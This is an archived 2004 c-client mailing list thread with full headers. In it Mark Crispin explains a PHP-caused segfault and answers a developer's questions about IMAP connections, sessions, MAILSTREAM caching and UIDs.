(8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9RL4Qra014806; Wed, 27 Oct 2004 14:04:27 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9RL4QJF011389; Wed, 27 Oct 2004 14:04:26 -0700 Message-Id: Date: Wed, 27 Oct 2004 14:04:26 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: mike@mikekrejci.com Cc: c-client@u.washington.edu Subject: Re: C-Client error In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm afraid that the c-client developer is also going to pass the buck. Although I don't know enough about PHP to be able to do more than guess what you passed to c-client, it's pretty clear that you gave invalid arguments (probably a null pointer) to c-client, and you were rewarded with a SEGV. Like most other C library functions, c-client doesn't promise you a safe playground that allows you to misbehave in such ways without a error code. For example, the C library string functions -- strcmp(), strcpy(), etc. -- all will exact the same SEGV punishment to any caller that passes a null pointer. I think that we can all agree that your PHP code was broken, and that brokenness is the ultimate cause of the SEGV. Or, put another way, if your PHP code had been properly composed you would not have gotten the SEGV. The question is whether you are guaranteed that you will never get a SEGV even if you write broken code. c-client makes no such guarantee, and it is never going to do so. The SEGV is not a bug in c-client; it is a bug in how c-client was called by the application. If PHP is documented to make such a guarantee, you need to take that question up with the PHP developers. Such a guarantee would imply that PHP validates the arguments of all calls to C library routines for sanity. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Oct 28 07:27:26 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 28 Oct 2004 07:27:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9SERQqf004137 for ; Thu, 28 Oct 2004 07:27:26 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9SERPhp015750 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 28 Oct 2004 07:27:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9SERJdU016914; Thu, 28 Oct 2004 07:27:20 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9SEPoaB112574 for ; Thu, 28 Oct 2004 07:25:50 -0700 Received: from imo-d04.mx.aol.com (imo-d04.mx.aol.com [205.188.157.36]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9SEPn2Z014990 for ; Thu, 28 Oct 2004 07:25:49 -0700 Received: from DavidDDaveg@aol.com by imo-d04.mx.aol.com (mail_out_v37_r3.8.) id d.1a0.2b3f9255 (4320) for ; Thu, 28 Oct 2004 10:25:40 -0400 (EDT) Message-Id: <1a0.2b3f9255.2eb25b63@aol.com> Date: Thu, 28 Oct 2004 10:25:39 EDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: DavidDDaveg@aol.com To: c-client@u.washington.edu Subject: questions about how to do multiple IMAP sessions to the server in c-client MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="-----------------------------1098973539" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __AOL_FROM 0, __BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_HTML 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -------------------------------1098973539 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit In RFC 3501, it defines "Connection" and "Session" as --- "Connection" refers to the entire sequence of client/server interaction from the initial establishment of the network connection until its termination. -- Could I compare it with login complete? -- "Session" refers to the sequence of client/server interaction from the time that a mailbox is selected (SELECT or EXAMINE command) until the time that selection ends (SELECT or EXAMINE of another mailbox, CLOSE command, or connection termination). -- It also says: --- Only one mailbox can be selected at a time in a connection; simultaneous access to multiple mailboxes requires multiple connections. --- If the IMAP client which uses c-client wants to show the list of mails from all of the mailboxes after login complete, then user could select the mail interested, does it mean that there must be multiple "connections" (multiple login's) in order to maintain multiple mailboxes to be SELECT'ed, so that the data in c-client's cache could be used later. Or it is the client's responsibility to cache the data besides the c-client's cache, and after user selects a mail entry then re-do SELECT for the interested mailbox, so that there is at most only one mailbox is open at all time? What is the suggested way to have access to multiple mailboxes using c-client. Thanks! -------------------------------1098973539 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable
     
     
    In RFC 3501,  it defines "Connection" and "Session" as
     
    ---
     
    "Connection" refers to the entire sequence of client/server interaction= =20 from the initial establishment of the network connection until its terminati= on.=20
     
    --
     
    Could I compare it with login complete?

    --

    "Session" refers to the sequence of client/server interaction from the ti= me=20 that a mailbox is selected (SELECT or EXAMINE command) until the time that=20 selection ends (SELECT or EXAMINE of another mailbox, CLOSE command, or=20 connection termination).

    --

    It also says:

    ---

    Only one mailbox can be selected at a time in a connection; simultaneous=20 access to multiple mailboxes requires multiple connections.

    ---

    If the IMAP client which uses c-client wants to show the list o= f=20 mails from all of the mailboxes after login complete,  then user could=20 select the mail interested, does it mean that there must be multiple=20 "connections" (multiple login's) in order to maintain multiple=20 mailboxes to be SELECT'ed, so that the data in c-client's cache could be use= d=20 later.

    Or it is the client's responsibility to cache the data besides the c-clie= nt's=20 cache, and after user selects a mail entry then re-do SELECT for the interes= ted=20 mailbox, so that there is at most only one mailbox is open at all time?

    What is the suggested way to have access to multiple mailboxes using=20 c-client.

    Thanks!

     

     -------------------------------1098973539-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 28 09:46:11 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 28 Oct 2004 09:46:11 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9SGkBgn009236 for ; Thu, 28 Oct 2004 09:46:11 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9SGkApW014685 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 28 Oct 2004 09:46:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9SGk2VW019108; Thu, 28 Oct 2004 09:46:02 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9SGiZhn063310 for ; Thu, 28 Oct 2004 09:44:35 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9SGiYQi005194 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 28 Oct 2004 09:44:34 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9SGiXEI030242; Thu, 28 Oct 2004 09:44:33 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9SGiXPe013529; Thu, 28 Oct 2004 09:44:33 -0700 Message-Id: Date: Thu, 28 Oct 2004 09:44:33 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: DavidDDaveg@aol.com Cc: c-client@u.washington.edu Subject: Re: questions about how to do multiple IMAP sessions to the server in c-client In-Reply-To: <1a0.2b3f9255.2eb25b63@aol.com> References: <1a0.2b3f9255.2eb25b63@aol.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 28 Oct 2004 DavidDDaveg@aol.com wrote: > "Connection" refers to the entire sequence of client/server interaction from > the initial establishment of the network connection until its termination. > > Could I compare it with login complete? That's like saying "can I compare a drive in my car to starting the motor". The definitions of "connection" and "session" in RFC 3501 are fairly specific. I believe that any additional definitions would only make matters more complicated instead of less complicated > If the IMAP client which uses c-client wants to show the list of mails from > all of the mailboxes after login complete, then user could select the mail > interested, does it mean that there must be multiple "connections" (multiple > login's) in order to maintain multiple mailboxes to be SELECT'ed, so that the > data in c-client's cache could be used later. Only one mailbox is SELECTed at a time, and c-client only caches data from the currently SELECTed mailbox. You can have multiple MAILSTREAMs open, each with a separate mailbox selected. It is your choice whether you want to do that or to go through each mailbox one-by-one. HOWEVER!!!!! It is an exceedingly poor idea for a client to attempt to list messages from all mailboxes. The list of mailboxes may be extremely long with long servers. You will run out of memory and disk space on your client long before you complete gathering the entire list. It is also a misuse of IMAP. The entire reason why IMAP has all these features to collect individual data items is so the client can access data on demand by the end user, and not have to download everything at startup. The best way to implement an IMAP client is to pretend that you have a basic DOS machine with 640K RAM, a 20MB hard drive, and a 2400bps modem; and to assume that the user has 10,000 mailboxes each with 100,000 messages and each message is 500K. You wouldn't even think of trying a mass download in such an environment. Instead, you would get only that data that is needed at that point in time. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Oct 28 11:00:32 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 28 Oct 2004 11:00:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9SI0VQj012171 for ; Thu, 28 Oct 2004 11:00:31 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9SI0UCm026367 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 28 Oct 2004 11:00:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9SI0NKJ014354; Thu, 28 Oct 2004 11:00:23 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9SHxDoo056762 for ; Thu, 28 Oct 2004 10:59:13 -0700 Received: from imo-m15.mx.aol.com (imo-m15.mx.aol.com [64.12.138.205]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9SHxCdb029276 for ; Thu, 28 Oct 2004 10:59:12 -0700 Received: from DavidDDaveg@aol.com by imo-m15.mx.aol.com (mail_out_v37_r3.8.) id f.155.4239279f (4320); Thu, 28 Oct 2004 13:59:09 -0400 (EDT) Message-Id: <155.4239279f.2eb28d6d@aol.com> Date: Thu, 28 Oct 2004 13:59:09 EDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: DavidDDaveg@aol.com To: mrc@CAC.Washington.EDU Cc: c-client@u.washington.edu Subject: Re: questions about how to do multiple IMAP sessions to the server in c-client MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="-----------------------------1098986349" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __AOL_FROM 0, __BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_HTML 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -------------------------------1098986349 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2004/10/28 12:44:49 Eastern Daylight Time, mrc@CAC.Washington.EDU writes: > "Connection" refers to the entire sequence of client/server interaction from > the initial establishment of the network connection until its termination. > > Could I compare it with login complete? That's like saying "can I compare a drive in my car to starting the motor". I agree the compassion is not appropriate. What I really want is to make sure that after log-ed in until logout, it is counted as in one connection. If this is true, then after login until logout there can only be one mailbox being selected (one session there). Regarding why thinking about keep multiple mailbox selected using c-client: > If the IMAP client which uses c-client wants to show the list of mails from > all of the mailboxes after login complete, then user could select the mail > interested, does it mean that there must be multiple "connections" (multiple > login's) in order to maintain multiple mailboxes to be SELECT'ed, so that the > data in c-client's cache could be used later. Only one mailbox is SELECTed at a time, and c-client only caches data from the currently SELECTed mailbox. You can have multiple MAILSTREAMs open, each with a separate mailbox selected. It is your choice whether you want to do that or to go through each mailbox one-by-one. "can have multiple MAILSTREAMs open, each with a separate mailbox selected", I believe you mean the mail boxes for the MAILSTREAMs might be SELECT'ed before and not closed, but only one is SELECT'ed at the moment. Also if the MAILSTREAM s1's mail box had been SELECT'ed before but now another mail box is SELECT'ed. Could we still call this MAILSTREAM s1 open until it is closed? Will the data downloaded into cache while it was open be still in the c-client cache, until s1 is closed even if other mail box is SELECT'ed now (i.e. can still use some of the mail_xxx() function against this stream s1, such as get msg number..)? HOWEVER!!!!! It is an exceedingly poor idea for a client to attempt to list messages from all mailboxes. The list of mailboxes may be extremely long with long servers. You will run out of memory and disk space on your client long before you complete gathering the entire list. It is also a misuse of IMAP. The entire reason why IMAP has all these features to collect individual data items is so the client can access data on demand by the end user, and not have to download everything at startup. Totally agree your comment on thinking about the resource limitation issue. I saw some of the commercial IMAP client(e.g. Communicator), one of basic feature is to list all of the mail entries (sender, subject, time) from different mailbox after log into the server. Then user could brows around, doing a quick local search to see if there is mail from someone or have certain subject, and then click on the interested mail from different mailboxes(I used to call it folders). If the mailbox is not selected at clicking time then it will have to be re-selected at the clicking time. From the nature of IMAP I guess your suggestion is to prefer to reselect than to keep multiple mailbox SELETC'ed in multiple connections. But we still have problem if the client really want get the 10,000 mails to be listed in UI after login. It might take a while on dial up connection Again, thanks for your response and it is really great help! -------------------------------1098986349 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable
    In a message dated 2004/10/28 12:44:49 Eastern Daylight Time,=20 mrc@CAC.Washington.EDU writes:
    <= FONT=20 style=3D"BACKGROUND-COLOR: #dddfc6" face=3DArial color=3D#000000 size=3D2>= >=20 "Connection" refers to the entire sequence of client/server interaction&nb= sp;=20 from
    > the initial establishment of the network connection until its= =20 termination.
    >
    > Could I compare it with login=20 complete?

    That's like saying "can I compare a drive in my car to=20 starting the
    motor".
    I agree the compassion is not appropriate. What I really want is to mak= e=20 sure that after log-ed in until logout, it is counted as in one connection.=20
    If this is true, then after login until logout there can only be one=20 mailbox being selected (one session there).
     
    Regarding why thinking about keep multiple mailbox selected using=20 c-client:
    <= FONT=20 style=3D"BACKGROUND-COLOR: #dddfc6" face=3DArial color=3D#000000 size=3D2>=
    > If=20 the IMAP client which uses c-client wants to show the list of  mails=20 from
    > all of the mailboxes after login complete,  then user=20 could  select the mail
    > interested, does it mean that there mu= st=20 be multiple  "connections" (multiple
    > login's) in order to=20 maintain multiple  mailboxes to be SELECT'ed, so that the
    > dat= a in=20 c-client's cache could be used  later.

    Only one mailbox is=20 SELECTed at a time, and c-client only caches data from
    the currently=20 SELECTed mailbox.

    You can have multiple MAILSTREAMs open, each w= ith=20 a separate mailbox
    selected.  It is your choice whethe= r=20 you want to do that or to go through
    each mailbox=20 one-by-one.
     
    "can have multiple MAILSTREAM= s=20 open, each with a separate mailbox selected", I believe you mean = ;=20 the mail boxes for the MAILSTREAMs might be SELECT'ed before and n= ot=20 closed, but only one is SELECT'ed at the moment.
     
    Also if the MAILSTREAM s1's m= ail=20 box had been SELECT'ed before but now another mail box is SELECT'ed. Could w= e=20 still call this MAILSTREAM s1 open until it is closed? Will the data=20 downloaded into cache while it was open be still in the c-client cache, unti= l s1=20 is closed even if other mail box is SELECT'ed now (i.e. can still use some o= f=20 the mail_xxx() function against this stream s1, such as get msg=20 number..)?
    <= FONT=20 style=3D"BACKGROUND-COLOR: #dddfc6" face=3DArial color=3D#000000=20 size=3D2>
    HOWEVER!!!!!

    It is an exceedingly poor idea for a clie= nt to=20 attempt to list messages
    from all mailboxes.  The list of mailbox= es=20 may be extremely long with long
    servers.  You will run out of mem= ory=20 and disk space on your client long
    before you complete gathering the=20 entire list.

    It is also a misuse of IMAP.  The entire reason w= hy=20 IMAP has all these
    features to collect individual data items is so the= =20 client can access data
    on demand by the end user, and not have to down= load=20 everything at
    startup.
    Totally agree your comment on thinking about the resource limitation=20 issue.
    I saw some of the commercial IMAP client(e.g. Communicator), one of bas= ic=20 feature is to list all of the mail entries (sender, subject, time) from= =20 different mailbox after log into the server. Then user could brows arou= nd,=20 doing a quick local search to see if there is mail from someone or have cert= ain=20 subject, and then click on the interested mail from different mailboxes= (I=20 used to call it folders).  
    If the mailbox is not selected at clicking time then it will have to be= =20 re-selected  at the clicking time. From the nature of IMAP I guess your= =20 suggestion is to prefer to reselect than to keep multiple mailbox SELETC'ed=20= in=20 multiple connections.
    But we still have problem if the client really want get the 10,000 mail= s to=20 be listed in UI after login. It might take a while on dial up connection
     
    Again, thanks for your response and it is really great help!
     
     
    -------------------------------1098986349-- From pinedev@shivax2.cac.washington.edu Thu Oct 28 11:46:13 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 28 Oct 2004 11:46:13 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9SIkDYb013971 for ; Thu, 28 Oct 2004 11:46:13 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9SIkCIY023037 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 28 Oct 2004 11:46:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9SIk7OO019066; Thu, 28 Oct 2004 11:46:07 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9SIjErc055492 for ; Thu, 28 Oct 2004 11:45:14 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9SIjEGD024463 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 28 Oct 2004 11:45:14 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout4.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9SIjDrI006050; Thu, 28 Oct 2004 11:45:13 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9SIjDXA021907; Thu, 28 Oct 2004 11:45:13 -0700 Message-Id: Date: Thu, 28 Oct 2004 11:45:13 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: DavidDDaveg@aol.com Cc: c-client@u.washington.edu Subject: Re: questions about how to do multiple IMAP sessions to the server in c-client In-Reply-To: <155.4239279f.2eb28d6d@aol.com> References: <155.4239279f.2eb28d6d@aol.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I strongly suggest that you buy a copy of the book "Internet Email Protocols: A Developer's Guide", by Kevin Johnson, published by Addison Wesley, ISBN 0-201-43288-9. Your questions indicate a very basic misunderstanding of the IMAP protocol. Until that misunderstanding is clarified, you are going to have a very long and frustrating experience. On Thu, 28 Oct 2004 DavidDDaveg@aol.com wrote: > What I really want is to make > sure that after log-ed in until logout, it is counted as in one connection. It's one connection from the point that the initial TCP interchange is made (even before authenticated). > If this is true, then after login until logout there can only be one mailbox > being selected (one session there). There can only be one mailbox selected at a time. If you select mailbox2 while mailbox1 is selected, then mailbox1 is automatically unselected and mailbox2 is now selected. This forms a new session within the same connection. > "can have multiple MAILSTREAMs open, each with a separate mailbox selected", > I believe you mean the mail boxes for the MAILSTREAMs might be SELECT'ed > before and not closed, but only one is SELECT'ed at the moment. No. I mean that you can have multiple connections, each with a different mailbox SELECTed. This is the only way that you can have more than one mailbox SELECTed at a time. > Also if the MAILSTREAM s1's mail box had been SELECT'ed before but now > another mail box is SELECT'ed. Could we still call this MAILSTREAM s1 open until > it is closed? Any existing MAILSTREAM is not affected by opening a new MAILSTREAM. Each MAILSTREAM is completely independent of any other MAILSTREAMs. By passing a non-null MAILSTREAM to mail_open(), you can do a new SELECT on a MAILSTREAM, without closing the connection. > Will the data downloaded into cache while it was open be still > in the c-client cache, until s1 is closed even if other mail box is SELECT'ed > now (i.e. can still use some of the mail_xxx() function against this stream > s1, such as get msg number..)? Each MAILSTREAM has its own cache. The cache is destroyed when the MAILSTREAM is closed, or if the MAILSTREAM is passed to mail_open() to SELECT a new mailbox. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Nov 1 14:06:26 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 1 Nov 2004 14:06:26 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA1M6QpW000825 for ; Mon, 1 Nov 2004 14:06:26 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA1M6OLu028138 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 1 Nov 2004 14:06:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA1M6989014836; Mon, 1 Nov 2004 14:06:10 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA1M1tb4104372 for ; Mon, 1 Nov 2004 14:01:55 -0800 Received: from imo-m18.mx.aol.com (imo-m18.mx.aol.com [64.12.138.208]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA1M1rHG012500 for ; Mon, 1 Nov 2004 14:01:54 -0800 Received: from DavidDDaveg@aol.com by imo-m18.mx.aol.com (mail_out_v37_r3.8.) id f.1e8.2cda4186 (3866); Mon, 1 Nov 2004 17:01:47 -0500 (EST) Message-Id: <1e8.2cda4186.2eb80c4b@aol.com> Date: Mon, 1 Nov 2004 17:01:47 EST Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: DavidDDaveg@aol.com To: mrc@CAC.Washington.EDU Cc: c-client@u.washington.edu Subject: Re: questions about how to do multiple IMAP sessions to the server in c-client MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="-----------------------------1099346507" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __AOL_FROM 0, __BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_HTML 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -------------------------------1099346507 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2004/10/28 13:45:24 Eastern Standard Time, mrc@CAC.Washington.EDU writes: I strongly suggest that you buy a copy of the book "Internet Email Protocols: A Developer's Guide", by Kevin Johnson, published by Addison Wesley, ISBN 0-201-43288-9. Definitely I need to study this book. It is out of print now and I am getting a used one soon. Thanks. While I am reading the RFC 3501, come across one question about the mail's UID. If the requirement for the client, which uses c-client, is to list all mails for each mailbox in UI in one connection. And store the mail's UID in local, later if user clicks on that mail, its UID will be used to fetch the mail's body. It could be done by doing mail_open(...) for each mailbox one-by-one. But seems there is problem for this approach. in 2.3.1.1 Unique Identifier (UID) Message Attribute It says: "The unique identifier of a message MUST NOT change during the session, and SHOULD NOT change between sessions." It means the UID might change between sessions (true/false?). So after select another mailbox, the previous opened mailbox's session is closed and the UID of the mail in previous mailbox might not be simply valid. Does it mean if user clicks one the mail, the client have to do 1. reselect the mailbox by mail_open(), 2. check the validity of the UIDs, (is there a function in c-client does this?) 3. use the adjusted/valid UID for fetching body? Or is there a better approach with c-client? Thanks for your help! -------------------------------1099346507 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable
    In a message dated 2004/10/28 13:45:24 Eastern Standard Time,=20 mrc@CAC.Washington.EDU writes:
    <= FONT=20 style=3D"BACKGROUND-COLOR: #dddfc6" face=3DArial color=3D#000000 size=3D2>= I strongly=20 suggest that you buy a copy of the book "Internet Email
    Protocols: A=20 Developer's Guide", by Kevin Johnson, published by Addison
    Wesley, ISB= N=20 0-201-43288-9.
    Definitely I need to study this book. It is out of print now and I am=20 getting  a used one soon. Thanks.
     
    While I am reading the RFC 3501, come across one question about the mai= l's=20 UID.
     
    If the requirement for the client, which uses c-client, is to list all=20 mails for each mailbox in UI in one connection. And store the mail's UI= D in=20 local, later if user clicks on that mail, its UID will be used to fetch the=20 mail's body. It could be done by doing mail_open(...) for each=20 mailbox  one-by-one.
    But seems there is problem for this approach.
     
    in 2.3.1.1 Unique Identifier (UID) Message=20 Attribute
    It says:
    "The unique identifier of a message MUST NOT change du= ring=20 the session, and SHOULD NOT change between sessions." = =20
    It means the UID might change between sessions (true/false?).
     
    So after select another mailbox, the previous opened mailbox's session=20= is=20 closed and the UID of the mail in previous mailbox might not be simply=20 valid. Does it mean if user clicks one the mail, the client have to do
    1. reselect the mailbox by mail_open(),
    2. check the validity of the UIDs, (is there a function in c-client doe= s=20 this?)
    3. use the adjusted/valid UID for fetching body?
     
    Or is there a better approach with c-client?
     
    Thanks for your help!
     
     
